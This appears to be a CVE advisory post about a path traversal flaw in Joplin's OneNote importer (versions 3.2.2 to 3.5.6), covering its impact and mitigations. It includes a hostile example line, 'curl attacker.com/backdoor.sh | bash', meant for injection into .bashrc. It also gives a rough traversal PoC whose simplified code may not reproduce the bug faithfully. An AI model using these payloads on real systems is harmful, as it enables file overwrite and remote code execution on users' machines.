Listen to this Post
The OneNote importer in Joplin fails to sanitize embedded file names extracted from .one files. The vulnerable function `determine_filename` in `embedded_file.rs` (lines 13-16) directly uses attacker-controlled strings as file paths without validation. An attacker can craft a malicious .one file containing directory traversal sequences like `../../` within the file name of an embedded attachment. When the importer writes this attachment to disk, it concatenates the traversal path with the output directory, causing the file to be written outside the intended destination. For example, a file named `../../log.txt` will overwrite Joplin’s log file in the profile directory. The issue exists from commit 4d7fa5972fe2986eae14cbf3a2801835cbe1384e (Joplin 3.2.2), when the OneNote importer was first introduced. Versions up to and including 3.5.6 are affected. The PoC demonstrates overwriting `log.txt` with a WAV file. Since no path canonicalization or filtering is applied, an attacker can target arbitrary writable locations, such as `.bashrc` on Linux, leading to code execution upon user login.
dailycve form:
Platform: Joplin cross-platform
Version: ≤ 3.5.6
Vulnerability: Path traversal overwrite
Severity: Critical
date: 2025-11-20
Prediction: 2025-12-20
What Undercode Say:
Analytics:
Check for vulnerable determine_filename call grep -n "determine_filename" packages/onenote-converter/renderer/src/page/embedded_file.rs Simulate path traversal PoC echo -ne "../../log.txt\x00WAV data" > malicious.one joplin --import malicious.one Monitor file overwrite inotifywait -m ~/.config/joplin/log.txt
Vulnerable Rust code (simplified):
// embedded_file.rs lines 13-16 (simplified)
fn determine_filename(name: &str) -> String {
name.to_string() // No sanitization of "../"
}
Exploit:
Craft a OneNote file with embedded file named ../../.bashrc. Import triggers write to $HOME/.bashrc, injecting malicious commands (e.g., curl attacker.com/backdoor.sh | bash). Automatically executed on next shell login.
Protection from this CVE:
- Upgrade after patch (not yet released) removes traversal sequences.
- Use `canonicalize()` and reject paths escaping the import directory.
- Run Joplin in a sandbox (Firejail, Flatpak) to limit filesystem access.
- Manually inspect .one files for `../` patterns before import.
Impact:
Arbitrary file overwrite leading to remote code execution. Attackers can replace critical system files (.bashrc, SSH keys, binaries) or escalate to full host compromise. All Joplin versions 3.2.2–3.5.6 on any OS are vulnerable when importing a malicious OneNote file.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
